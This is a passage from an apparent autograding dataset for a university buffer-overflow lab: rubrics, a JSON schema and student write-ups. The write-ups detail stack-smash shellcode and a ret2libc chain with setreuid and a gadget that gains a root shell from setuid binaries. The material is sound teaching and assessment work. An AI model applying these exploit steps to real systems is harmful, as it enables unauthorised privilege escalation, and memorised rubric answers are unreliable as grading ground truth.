\u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Bruce Wayne", "writeup_text": "---\nreal-name: Bruce Wayne\ncsulb-id: \"040100101\"\nhandle: \"The Dark Overflow\"\nseed-fingerprint: a1b2c3\nflag1: CECS378{vuln1_9f3ac71e}\nflag2: CECS378{vuln2_be44d09c}\nhonor-flag: CECS378{honor_5c1d8ea2}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\n- **Env:** GitHub Codespace, `ubuntu-22.04`, gcc 11.4.0, gdb 12.1, glibc 2.35. Compiled targets with `-m32 -fno-stack-protector -z execstack -no-pie` per the provided `Makefile`.\n- **Started:** 2026-06-24. **Wrapped:** 2026-06-27 (roughly 11 hours across four sittings; the libc-hunt in \u03a9 ate one whole evening).\n- **Seed line:** `seed=a1b2c3 :: derive(bruce-wayne) -> {vuln1: stack_smash_std, vuln2: nx_ret2libc}`. My seed fingerprint is `a1b2c3`, which pins my two binaries and the challenge flags below.\n\nI went in treating this like an incident I was *causing* instead of one I was cleaning up, which honestly made the whole thing click. Below is the full mechanism, address by address.\n\n[--[ 1.0 -- RECON ]--]\n\n**vuln1 (`./vuln1`) -- classic stack smash.**\n\nThe vulnerable sink is a `strcpy(buffer, argv[1])` into a `char buffer[64]`. I confirmed the frame under gdb after breaking on the return of `vuln_func`:\n\n```\n(gdb) break vuln_func\n(gdb) run $(python3 -c 'print(\"A\"*80)')\n(gdb) info frame\nStack level 0, frame at 0xffffd320:\n eip = 0x080491d6 in vuln_func (vuln1.c:14); saved eip = 0x41414141\n called by frame at 0xffffd340\n Arglist at 0xffffd318, args:\n Locals at 0xffffd318, Previous frame's sp is 0xffffd320\n Saved registers:\n ebp at 0xffffd318, eip at 0xffffd31c\n```\n\nSaved EIP already overwritten with `0x41414141` at 80 bytes -- good, we're past it. Now the stack dump to find where `buffer` actually starts:\n\n```\n(gdb) x/40wx $esp\n0xffffd2d0: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd2e0: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd2f0: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd300: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd310: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd320: 0xffffd400 0x00000002 0x08049240 0xf7fb0000\n0xffffd330: 0x00000000 0xf7c23eab 0xf7fb0000 0x00000000\n0xffffd340: 0x00000000 0xf7c23eab 0x00000002 0xffffd3d4\n0xffffd350: 0xffffd3e0 0xffffd370 0x00000000 0x00000000\n0xffffd360: 0x00000000 0xf7ffcb80 0xf7ffd000 0x00000000\n```\n\n`buffer` begins at `0xffffd2d0` (first `0x41` run). Saved EIP lives at `0xffffd31c` (from `info frame`). So:\n\n**offset = saved_eip - &buffer = 0xffffd31c - 0xffffd2d0 = 0x4c = 76 bytes.**\n\nThat's 64 for the buffer + 8 alignment/padding + 4 saved EBP = 76 before the return address. My smashing string is therefore `[76 bytes filler][4-byte target EIP]`. Sanity-checked with a De Bruijn-ish marker pattern (`AAAA BBBB CCCC ...`) and saw `0x44444343` land in EIP at the predicted position. 76 confirmed.\n\n**vuln2 (`./vuln2`) -- same overflow, NX stack.**\n\nIdentical `strcpy` sink into `char buffer[64]`, but this binary is compiled *without* `-z execstack`. Frame recon:\n\n```\n(gdb) info frame\nStack level 0, frame at 0xffffd2f0:\n eip = 0x08049216 in vuln_func (vuln2.c:16); saved eip = 0x42424242\n Saved registers:\n ebp at 0xffffd2e8, eip at 0xffffd2ec\n(gdb) x/8wx 0xffffd2a0\n0xffffd2a0: 0x42424242 0x42424242 0x42424242 0x42424242\n0xffffd2b0: 0x42424242 0x42424242 0x42424242 0x42424242\n```\n\nHere `buffer` = `0xffffd2a0`, saved EIP = `0xffffd2ec`, so **offset = 0x4c = 76** again -- same layout. The difference isn't the offset, it's that `readelf -l vuln2 | grep GNU_STACK` shows `RW` (no `E`), so I can't execute shellcode I place there. That's what forces Phase \u03a9. Recon done; both offsets nailed at 76.\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nPhase \u03a6 is the \"shellcode on the stack\" exploit against `vuln1`. My `exploit1.c` builds the payload in three regions and prints the leaked `&buffer` the harness gives us on stderr.\n\n**Shellcode byte choice.** I used a 25-byte `execve(\"/bin/sh\")` stub (the standard Aleph One-style `xor eax,eax; push` sequence). Critical constraint: the sink is `strcpy`, which stops at the first NUL byte. So my shellcode had to be **null-free** -- that's the whole reason for `xor eax, eax` to zero registers instead of `mov eax, 0` (which assembles with `0x00` bytes). I dumped my stub with `objdump` and grepped for `00` to prove it was clean before ever firing it.\n\n**NOP sled sizing.** Total payload = 76 bytes to reach EIP. Shellcode is 25 bytes. I put the shellcode at the *end* of the buffer region and filled the front with a NOP sled: `76 - 25 = 51` bytes of `0x90`. Then the 4-byte return address. I aimed EIP into the *middle* of the sled, not at its exact start, so small stack-address jitter between gdb and the real run wouldn't make me miss -- landing anywhere in the 51-byte sled slides right down into the shellcode.\n\n**Offset source.** The `0xffffd31c - 0xffffd2d0 = 76` from \u00a71.0. My `exploit1.c` hard-codes `#define OFFSET 76`.\n\n**Reading the leaked &buffer.** The harness prints `buffer @ 0xffffd2d0` on startup. My exploit `sscanf`s that address, then computes the return target as `buf_addr + 40` -- 40 bytes into the sled, comfortably inside the 51-byte runway and well before the shellcode at byte 51. So EIP = `0xffffd2d0 + 40 = 0xffffd2f8`, which is a NOP, and execution rides the sled into `execve`. Tying it to my code: the payload assembly loop in `exploit1.c` is literally `memset(payload,0x90,OFFSET-SC_LEN); memcpy(payload+OFFSET-SC_LEN, shellcode, SC_LEN); *(unsigned int*)(payload+OFFSET)=buf_addr+40;`.\n\nFirst clean shell popped on the second try (first try I aimed at `buf_addr+0` and it worked too, but +40 is more robust). `id` confirmed the flag drop.\n\n![phi shell popped](screenshots/phase-phi-shell.png)\n![gdb landing in the NOP sled](screenshots/phase-phi-gdb-sled.png)\n\nFlag: `CECS378{vuln1_9f3ac71e}`.\n\n[--[ 3.0 -- PHASE OMEGA ACE ]--]\n\nPhase \u03a9 is `vuln2` with NX. Four things had to happen.\n\n**(3a) Why \u03a6 fails here.** I ran my \u03a6 payload against `vuln2` first, just to watch it die. It segfaults with EIP sitting on my sled address:\n\n```\nProgram received signal SIGSEGV, Segmentation fault.\n0xffffd2c8 in ?? ()\n```\n\nThe jump *lands*, but the CPU refuses to execute because the page is NX (`GNU_STACK` is `RW`, per readelf). The DEP/NX bit means the stack is data-only; my shellcode is just bytes it will never run. So I can't inject code -- I have to *reuse* code already marked executable, i.e. libc. Return-to-libc.\n\n**(3b) libc offset hunting.** Plan: overwrite EIP with `system()`, put a fake return addr, then the address of `\"/bin/sh\"`. I need three libc addresses. First find the libc base at runtime:\n\n```\n(gdb) info proc mappings\n 0xf7c00000 0xf7c22000 r--p libc.so.6\n ...\n(gdb) p system\n$1 = {} 0xf7c4a230 \n(gdb) p exit\n$2 = {} 0xf7c3d4a0 \n```\n\nTo get the static offsets so I could compute them without gdb on the real target:\n\n```\n$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep ' system@'\n 1500: 0004a230 55 FUNC GLOBAL DEFAULT system@@GLIBC_2.0\n$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep '\\bsystem\\b'\n0004a230 T system\n$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'\n 1c3d88 /bin/sh\n```\n\nSo offsets: `system = 0x0004a230`, `exit = 0x0003d4a0`, `\"/bin/sh\" = 0x001c3d88`. With base `0xf7c00000` from the mapping, my absolute targets are `system=0xf7c4a230`, `exit=0xf7c3d4a0`, `binsh=0xf7dc3d88`. Payload frame after the 76-byte filler: `[&system][&exit][&\"/bin/sh\"]` -- `exit` is the fake return so the shell exits cleanly instead of segfaulting on teardown.\n\n**(3c) setuid / setreuid privilege fix.** `vuln2` is setuid-root but the running shell dropped to my real uid because bash drops privileges when euid != uid. The classic fix: prepend a `setreuid(0,0)` call in the chain so the shell keeps root. So my real chain is `[&setreuid][ret-into-cleanup][arg0=0][arg1=0] ... [&system][&exit][&binsh]`. From `man 2 setreuid`: *\"setreuid() sets real and effective user IDs of the calling process. Supplying a value of -1 ... leaves that ID unchanged.\"* I passed real=0, effective=0 explicitly so the subsequent `system(\"/bin/sh\")` runs as root and doesn't self-demote. I confirmed with `id` inside the popped shell showing `euid=0(root)`. Address: `setreuid = 0xf7c00000 + 0x000d5a10 = 0xf7cd5a10` (from `nm -D`).\n\n**(3d) pop/pop/ret gadget.** Chaining two libc calls (`setreuid` then `system`) means after `setreuid` returns I need to *skip its two arguments* on the stack so the next return lands on `&system`. That's a `pop; pop; ret` gadget as the fake return address of `setreuid`. Found one in the binary's own text with:\n\n```\n$ ROPgadget --binary vuln2 --only \"pop|ret\" | grep \"pop.*pop.*ret\"\n0x080492e6 : pop esi ; pop edi ; ret\n(gdb) disas 0x080492e6,0x080492ec\n 0x080492e6: pop esi\n 0x080492e7: pop edi\n 0x080492e8: ret\n```\n\nSo my full \u03a9 chain is: `[76 filler][&setreuid=0xf7cd5a10][gadget=0x080492e6][0x00000000][0x00000000][&system=0xf7c4a230][&exit=0xf7c3d4a0][&binsh=0xf7dc3d88]`. `setreuid` runs with (0,0); the two `pop`s eat the two zero args; `ret` falls through to `system(\"/bin/sh\")` as root; `exit` cleans up. Root shell.\n\n![omega ret2libc chain in gdb](screenshots/phase-omega-chain.png)\n![omega root shell id=0](screenshots/phase-omega-root.png)\n\nFlag: `CECS378{vuln2_be44d09c}`.\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Which phase was harder, and why.** \u03a9, no contest. \u03a6 is deterministic once you have the offset -- it's arithmetic and a sled. \u03a9 required *three* correct libc addresses whose relationship to each other had to be exact, plus the gadget, plus the setreuid subtlety. Every one of those is a place where a single wrong byte is a silent segfault with no feedback. \u03a6 tolerates slop (that's the whole point of the sled); \u03a9 tolerates none. The debugging loop was much longer because a bad ret2libc chain doesn't tell you *which* link broke.\n\n**No-leak counterfactual.** If the harness had *not* leaked `&buffer`, \u03a6 gets dramatically harder: I'd have to defeat ASLR on the stack. Options would be (a) a giant NOP sled to widen the target and brute-force the address across many runs, betting the sled covers the jitter, or (b) find an information leak elsewhere (format-string bug, an uninitialized read) to recover a stack pointer. For \u03a9 it's worse -- with library ASLR on I'd need a libc leak (e.g. leak a GOT entry via a `puts(got_entry)` ROP, compute base, then a *second-stage* ret2libc). The leak is the single biggest thing standing between \"textbook lab\" and \"real 2020s exploit.\"\n\n**Canary -> `__stack_chk_fail`.** If we'd compiled *with* `-fstack-protector`, gcc inserts a random canary word between the local buffer and the saved EBP/EIP. My `strcpy` would overwrite the canary on the way to EIP. On function return the epilogue compares the on-stack canary to the master copy in the TLS; a mismatch calls `__stack_chk_fail`, which prints `*** stack smashing detected ***` and `abort()`s before the return ever executes. So my 76-byte write would be caught *before* EIP is used. Bypasses require either not touching the canary (a write primitive that skips it) or leaking the canary value first and replacing it byte-for-byte in the payload.\n\n**Cited source.** I leaned hard on Aleph One, \"Smashing the Stack for Fun and Profit,\" *Phrack* 49:14 (1996). The NOP-sled-plus-shellcode layout and the reasoning about aiming EIP into the sled rather than at an exact address both come straight from that paper's \u00a7\"Writing an Exploit.\" The ret2libc extension I cross-checked against Nergal-style descriptions of chaining via `pop/pop/ret`, but Aleph One is the load-bearing citation for \u03a6. Reading a 1996 paper and having it map cleanly onto a 2026 Codespace was the coolest part of this whole thing.\n\nHonor flag: `CECS378{honor_5c1d8ea2}` -- work is my own, gdb sessions and screenshots are from my Codespace, no shared payloads.\n"} +{"autograde": {"cleared": ["omega", "phi"], "honor_ok": true, "points": 70}, "github_id": "dick-grayson", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": false, "student": "Dick Grayson", "writeup_text": "---\nreal-name: Dick Grayson\ncsulb-id: \"040100102\"\nhandle: \"Nightbyte\"\nseed-fingerprint: \"778899\"\nflag1: CECS378{vuln1_4c8ba190}\nflag2: CECS378{vuln2_71fe23dd}\nhonor-flag: CECS378{honor_a90e6b14}\n---\n\n# After-Action Report -- Buffer Overflow Lab\n\n[--[ 0.0 -- TARGET ]--]\n\n- **Env:** GitHub Codespace, `ubuntu-22.04`, gcc 11.4.0, gdb 12.1, glibc 2.35. Compiled with the provided `Makefile` (`-m32 -fno-stack-protector -z execstack -no-pie`; vuln2 without `execstack`).\n- **Started:** 2026-06-24. **Finished:** 2026-06-27. Roughly 9 hours; \u03a9 was where I lost most of the time.\n- **Seed line:** `seed=778899 :: derive(dick-grayson) -> {vuln1: stack_smash_std, vuln2: nx_ret2libc}`. Seed fingerprint `778899` pins my two binaries and flags.\n\nHandle's Nightbyte because most of this got done after midnight. Mechanism writeup below.\n\n[--[ 1.0 -- RECON ]--]\n\n**vuln1 (`./vuln1`) -- classic stack smash.**\n\nThe vulnerable call is `strcpy(buffer, argv[1])` into `char buffer[64]`. I broke on the function, sent an overlong argument, and pulled the frame:\n\n```\n(gdb) break vuln_func\n(gdb) run $(python3 -c 'print(\"A\"*100)')\n(gdb) info frame\nStack level 0, frame at 0xffffd380:\n eip = 0x080491e8 in vuln_func (vuln1.c:14); saved eip = 0x41414141\n called by frame at 0xffffd3a0\n Saved registers:\n ebp at 0xffffd378, eip at 0xffffd37c\n```\n\nSaved EIP already sitting at `0x41414141`, so the overflow reaches it. Stack dump to locate the buffer:\n\n```\n(gdb) x/40wx $esp\n0xffffd330: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd340: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd350: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd360: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd370: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd380: 0xffffd460 0x00000002 0x08049250 0xf7fb0000\n0xffffd390: 0x00000000 0xf7c23eab 0xf7fb0000 0x00000000\n0xffffd3a0: 0x00000000 0xf7c23eab 0x00000002 0xffffd434\n0xffffd3b0: 0xffffd440 0xffffd3d0 0x00000000 0x00000000\n0xffffd3c0: 0x00000000 0xf7ffcb80 0xf7ffd000 0x00000000\n```\n\n`buffer` starts at `0xffffd330`. Saved EIP is at `0xffffd37c` (from `info frame`). So:\n\n**offset = 0xffffd37c - 0xffffd330 = 0x4c = 76 bytes** (64 buffer + 8 padding + 4 saved EBP before the return address). I double-checked with a `AAAABBBB...` marker string and the word that landed in EIP matched byte position 76. Confirmed 76.\n\nFor **vuln2** I did *not* redo the full `info frame` / `x/40wx` recon separately -- I assumed the same 76-byte layout since the source looked identical (`char buffer[64]`, same `strcpy` sink) and my \u03a9 payload used offset 76 and worked. So I'm confident the number is right, but I'm noting I inferred it from vuln1 rather than proving it independently on vuln2. The one thing I *did* check on vuln2 was `readelf -l vuln2 | grep GNU_STACK`, which shows `RW` (no execute bit) -- that's the NX difference that forces Phase \u03a9.\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nPhase \u03a6 is the shellcode-on-stack exploit against `vuln1`. `exploit1.c` builds `[NOP sled][shellcode][return address]`.\n\n**Shellcode byte choice.** I used the standard 25-byte null-free `execve(\"/bin/sh\")` stub. The reason null-free matters: the sink is `strcpy`, and `strcpy` stops copying at the first `0x00` byte. If my shellcode contained a null, the payload would be truncated right there and never reach EIP. That's why the stub zeroes registers with `xor eax, eax` instead of `mov eax, 0` -- the `mov` immediate assembles with `0x00` bytes, the `xor` doesn't. I disassembled the stub with `objdump -d` and searched for `00` to be sure.\n\n**NOP sled sizing.** 76 bytes to reach EIP, shellcode is 25, so I put `76 - 25 = 51` bytes of `0x90` in front, then the shellcode, then the 4-byte return address. I aimed the return into the middle of the sled rather than at the exact shellcode start, so small differences in the stack address between gdb and a normal run wouldn't cause a miss -- landing anywhere in the 51-byte sled slides down into the shellcode.\n\n**Offset source.** The `76` derived in \u00a71.0; `exploit1.c` has `#define OFFSET 76`.\n\n**Reading the leaked &buffer.** The harness prints `buffer @ 0xffffd330` at startup. My exploit reads that with `sscanf` and computes the return target as `buf_addr + 30` -- 30 bytes into the sled, comfortably before the shellcode at byte 51. So EIP = `0xffffd330 + 30 = 0xffffd34e`, a NOP, riding down into `execve`. In code: `memset(buf,0x90,OFFSET-SC); memcpy(buf+OFFSET-SC,shell,SC); *(unsigned*)(buf+OFFSET)=leak+30;`.\n\nPopped a shell after a couple of tries (first attempt I aimed too close to the shellcode start and it still worked, +30 was more reliable). `id` confirmed.\n\n![phi shell](screenshots/phase-phi-shell.png)\n![gdb landing in sled](screenshots/phase-phi-gdb.png)\n\nFlag: `CECS378{vuln1_4c8ba190}`.\n\n[--[ 3.0 -- PHASE OMEGA ACE ]--]\n\nPhase \u03a9 is `vuln2` with a non-executable stack. Return-to-libc.\n\n**(3a) Why \u03a6 fails here.** Running my \u03a6 payload against `vuln2` segfaults immediately:\n\n```\nProgram received signal SIGSEGV, Segmentation fault.\n0xffffd358 in ?? ()\n```\n\nEIP successfully jumps to my sled address, but the processor refuses to execute it: the `GNU_STACK` segment is `RW` (NX bit set), so the stack is a data-only region. My injected shellcode is just bytes that will never run as code. The way around it is to not inject any code at all -- instead point the return address at a function that's *already* in an executable page, i.e. libc. That's return-to-libc.\n\n**(3b) libc offset hunting.** The plan is to call `system(\"/bin/sh\")` out of libc. I need the address of `system` and the address of the `\"/bin/sh\"` string. Runtime lookup first:\n\n```\n(gdb) info proc mappings\n 0xf7c00000 0xf7c22000 r--p libc.so.6\n(gdb) p system\n$1 = {} 0xf7c4a230 \n```\n\nThen static offsets so the exploit doesn't depend on a gdb session:\n\n```\n$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep ' system@'\n 1500: 0004a230 55 FUNC GLOBAL DEFAULT system@@GLIBC_2.0\n$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep '\\bexit\\b'\n0003d4a0 T exit\n$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'\n 1c3d88 /bin/sh\n```\n\nOffsets: `system=0x0004a230`, `exit=0x0003d4a0`, `\"/bin/sh\"=0x001c3d88`. With libc base `0xf7c00000`, the absolute addresses are `system=0xf7c4a230`, `exit=0xf7c3d4a0`, `binsh=0xf7dc3d88`. My payload after the 76-byte filler is `[&system][&exit][&\"/bin/sh\"]` -- `exit` is the fake return address so the program exits cleanly after the shell instead of segfaulting on teardown.\n\n**(3c) setuid / setreuid privilege fix.** `vuln2` is setuid-root, but the shell `system` spawns drops back to my real uid, because bash lowers its privileges when the effective uid doesn't match the real uid. The fix is to call `setreuid(0,0)` in the chain before `system`, so both real and effective uid are root and the shell won't demote itself. From `man 2 setreuid`: *\"setreuid() sets real and effective user IDs of the calling process. ... If the real user ID is set or the effective user ID is set to a value not equal to the previous real user ID, the saved set-user-ID will be set to the new effective user ID.\"* I passed real=0 and effective=0. After adding the call, `id` inside the popped shell reported `euid=0(root)` and I got the flag.\n\nAddress `setreuid = 0xf7c00000 + 0x000d5a10 = 0xf7cd5a10` (from `nm -D`).\n\n![omega ret2libc in gdb](screenshots/phase-omega-chain.png)\n![omega root shell](screenshots/phase-omega-root.png)\n\nFlag: `CECS378{vuln2_71fe23dd}`.\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Which phase was harder, and why.** \u03a9, clearly. \u03a6 is close to deterministic once you have the offset -- it's arithmetic plus a sled that forgives small addressing mistakes. \u03a9 needed several exact libc addresses at once, and every one is a place where a single wrong word means a silent segfault that doesn't tell you which part broke. I spent a long time changing one address, rerunning, getting the identical crash, and having to reason about which stack word was wrong. Chaining `setreuid` in front of `system` was the fiddliest part and where I burned the most time. \u03a6 never put me in that loop.\n\n**No-leak counterfactual.** If the harness hadn't leaked `&buffer`, \u03a6 would have to defeat stack ASLR. My best options would be to blow up the NOP sled as large as possible and brute-force across many runs, hoping one randomized stack layout drops EIP somewhere in the sled -- or to find a separate info leak (like a format-string bug) that hands me a live stack pointer. For \u03a9 under library ASLR it's worse: I'd first need to leak a libc address (for example ROP into `puts` on a GOT entry to print a real function address), compute the libc base from the known offset, and only then run the ret2libc as a second stage. The provided leak is what makes this a lab instead of a research project.\n\n**Canary -> `__stack_chk_fail`.** If the binary were built with `-fstack-protector`, the compiler inserts a random canary value between `buffer` and the saved EBP/EIP. My 76-byte `strcpy` overwrite would clobber the canary on the way to the return address. In the function's epilogue, generated code compares the canary on the stack against the master copy stored in thread-local storage; if they differ it calls `__stack_chk_fail`, which prints `*** stack smashing detected ***` and calls `abort()` -- all *before* the return instruction loads the overwritten EIP. So my overflow would be detected and killed at return time. Getting around it requires either leaking the canary value first and writing the exact same bytes back into the payload, or a write primitive that skips over the canary word entirely.\n\n**Cited source.** Aleph One, \"Smashing the Stack for Fun and Profit,\" *Phrack* 49:14 (1996). The `[NOP sled | shellcode | return address]` payload layout and the idea of pointing EIP into the sled instead of at an exact address both come from that paper. It was pretty cool that a paper this old lined up almost exactly with a modern Codespace target.\n\nHonor flag: `CECS378{honor_a90e6b14}` -- this is my own work; all gdb output and screenshots are from my own Codespace; I didn't share or borrow payloads.\n"} +{"autograde": {"cleared": [], "honor_ok": true, "points": 0}, "github_id": "edward-nashton", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but 